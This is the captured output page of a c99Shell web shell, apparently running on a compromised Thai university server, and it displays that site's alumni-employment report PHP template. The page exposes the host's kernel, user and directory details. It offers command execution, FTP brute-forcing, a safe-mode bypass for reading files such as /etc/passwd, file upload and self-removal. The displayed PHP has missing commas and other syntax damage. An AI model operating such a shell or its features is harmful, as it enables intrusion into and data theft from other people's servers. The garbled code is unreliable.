!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/ealumni/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_report004_search.php (8.02 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$work 
= (isset($work) && $work->num_rows()) ? $work->row() : NULL;
$study = (isset($study) && $study->num_rows()) ? $study->row() : NULL;
$investiture = (isset($investiture) && $investiture->num_rows()) ? $investiture->row() : NULL;
$ansQn = (isset($ansQn) && $ansQn->num_rows()) ? $ansQn->row() : NULL;
$freelance = (isset($freelance) && $freelance->num_rows()) ? $freelance->row() : NULL;
$preWork = (isset($preWork) && $preWork->num_rows()) ? $preWork->row() : NULL;
?>
<table width="100%">
    <tr>
        <td align="center"><span class="h error">รายงานสรุปข้อมูลการทำงานของผู้สำเร็จการศึกษา</span></td>
    </tr>
    <tr>
        <td><br /></td>
    </tr>
    <tr>
        <td><table class="szone"><?php echo form_open($this->config->item("ea_folder")."report/report004_show", array("name" => "myform""id" => "myform"));?>
            <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                <td class="coltd_szone2">หลักสูตรตามระบบทะเบียนศิษย์เก่า</td>
                <td>
<?php
                
echo form_dropdown('programAlumniId'$rs_paset_value('programAlumniId'));
?>
                <span class="error"> *</span><?php echo form_error('programAlumniId');?></td>
            </tr>
            <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                <td class="coltd_szone">ปีการศึกษาที่จบ</td>
                <td><input type="text" name="graduateY" id="graduateY" value="<?php echo isset($acY) ? set_value('graduateY',$acY) : set_value('graduateY');?>" size="5" maxlength="4" class="required-int" />
                <span class="error"> *<?php echo form_error('graduateY');?></span></td>
            </tr>
            <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                <td class="coltd_szone">ดูข้อมูลย้อนหลัง</td>
                <td><input type="text" name="year" id="year" value="<?php echo set_value('year','1');?>" class="required-int" size="2" maxlength="1" />
                <?php echo form_error('year');?></td>
            </tr>
            <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                <td colspan="2" align="center">
                <input type="submit" name="search" id="search" value="ค้นหา" />
                </td>
            </tr>
        <?php echo form_close();?></table></td>
    </tr>
    <tr>
        <td><br /></td>
    </tr>
    <tr>
        <td align="right">ส่งออก <img class="hand" title="ส่งออกเป็น excel" src="<?php echo base_url().$this->config->item('rg_excel_exp');?>" align="absmiddle" border="0" onClick="sendPost('hidform',
        {'programAlumniId':<?php echo isset($programAlumniId) ? $programAlumniId "0";?>,
         'graduateY':<?php echo isset($graduateY) ? $graduateY "0";?>,
         'year':<?php echo isset($year) ? $year "0";?>},
        '<?php echo site_url($this->config->item('ea_folder').'report/report004_ex');?>')" />
        </td>
    </tr>
    <tr>
        <td><table class="headCol">
            <tr bgcolor="<?php echo $this->config->item('table_c_even');?>">
                <th rowspan="2">รายการ</th>
                <th colspan="3">จำนวนศิษย์เก่า</th>
                <th class="editCol" rowspan="2">รวม**</th>
                <th class="editCol" rowspan="2">ร้อยละ</th>
            </tr>
            <tr bgcolor="<?php echo $this->config->item('table_c_even');?>">
                <th class="editCol">ชาย</th>
                <th class="editCol">หญิง</th>
                <th class="editCol">รวม</th>
            </tr>
            <tr>
                <td class="indent">1. จำนวนผู้สำเร็จการศึกษาที่ได้งานทำ [1]</td>
                <td align="center"><?php echo setValue('male',$work);?></td>
                <td align="center"><?php echo setValue('female',$work);?></td>
                <td align="center"><?php echo setValue('totalQn',$work);?></td>
                <td align="center"><?php echo setValue('total',$work);?></td>
                <td align="center"><?php echo setValue('percent',$work);//number_format(setValue('percent',$work), 2);?></td>
            </tr>
            <tr>
                <td class="indent">2. จำนวนผู้สำเร็จการศึกษาที่ศึกษาต่อ [1]</td>
                <td align="center"><?php echo setValue('male',$study);?></td>
                <td align="center"><?php echo setValue('female',$study);?></td>
                <td align="center"><?php echo setValue('totalQn',$study);?></td>
                <td align="center"><?php echo setValue('total',$study);?></td>
                <td align="center"><?php echo setValue('percent',$study)//number_format(setValue('percent',$study), 2);?></td>
            </tr>
            <tr>
                <td class="indent">3. จำนวนผู้เข้าร่วมพิธีพระราชทานประกาศนียบัตร [2]</td>
                <td align="center"><?php echo setValue('male',$investiture);?></td>
                <td align="center"><?php echo setValue('female',$investiture);?></td>
                <td align="center"><?php echo setValue('totalQn',$investiture);?></td>
                <td align="center"><?php echo setValue('total',$investiture);?></td>
                <td align="center"><?php echo setValue('percent',$investiture)//number_format(setValue('percent',$investiture), 2);?></td>
            </tr>
            <tr>
                <td class="indent">4. จำนวนผู้สำเร็จการศึกษาที่ตอบแบบสอบถาม [2]</td>
                <td align="center"><?php echo setValue('male',$ansQn);?></td>
                <td align="center"><?php echo setValue('female',$ansQn);?></td>
                <td align="center"><?php echo setValue('totalQn',$ansQn);?></td>
                <td align="center"><?php echo setValue('total',$ansQn);?></td>
                <td align="center"><?php echo setValue('percent',$ansQn)//number_format(setValue('percent',$ansQn), 2);?></td>
            </tr>
            <tr>
                <td class="indent">5. จำนวนผู้สำเร็จการศึกษาที่ประกอบอาชีพอิสระ (มีกิจการของตนเองที่มีรายได้ประจำ) [1]</td>
                <td align="center"><?php echo setValue('male',$freelance);?></td>
                <td align="center"><?php echo setValue('female',$freelance);?></td>
                <td align="center"><?php echo setValue('totalQn',$freelance);?></td>
                <td align="center"><?php echo setValue('total',$freelance);?></td>
                <td align="center"><?php echo setValue('percent',$freelance)//number_format(setValue('percent',$freelance), 2);?></td>
            </tr>
            <tr>
                <td class="indent">6. จำนวนผู้สำเร็จการศึกษาที่มีงานทำ หรือมีรายได้ประจำอยู่ก่อนที่จะเข้าศึกษา [3]</td>
                <td align="center"><?php echo setValue('male',$preWork);?></td>
                <td align="center"><?php echo setValue('female',$preWork);?></td>
                <td align="center"><?php echo setValue('totalQn',$preWork);?></td>
                <td align="center"><?php echo setValue('total',$preWork);?></td>
                <td align="center"><?php echo setValue('percent',$preWork)//number_format(setValue('percent',$preWork), 2);?></td>
            </tr>
            <tr>
                <td align="right" class="indentR"><b>รวมจำนวนศิษย์เก่า ย้อนหลัง <?php echo isset($year) ? $year "0";?> ปี</b></td>
                <td colspan="5" align="center"><?php echo isset($total) ? $total 0;?> คน</td>
            </tr>
        </table></td>
    </tr>
    <tr>
        <td><br /></td>
    </tr>
    <tr>
        <td><table class="mark">
            <tr>
                <td class="coltd_mark"><span class="error"><b>หมายเหตุ :</b></span></td>
                <td><span class="error">[1] หมายถึง ไม่รวมลูกจ้างประจำ และข้าราชการ สถานะ/ตำแหน่งก่อนเข้าเรียน</span></td>
            </tr>
            <tr>
                <td></td>
                <td><span class="error">[2] หมายถึง รวมสถานะ/ตำแหน่งก่อนเข้าเรียนทุกสถานะ</span></td>
            </tr>
            <tr>
                <td></td>
                <td><span class="error">[3] หมายถึง ลูกจ้างประจำ และข้าราชการ</span></td>
            </tr>
        </table></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0135 ]--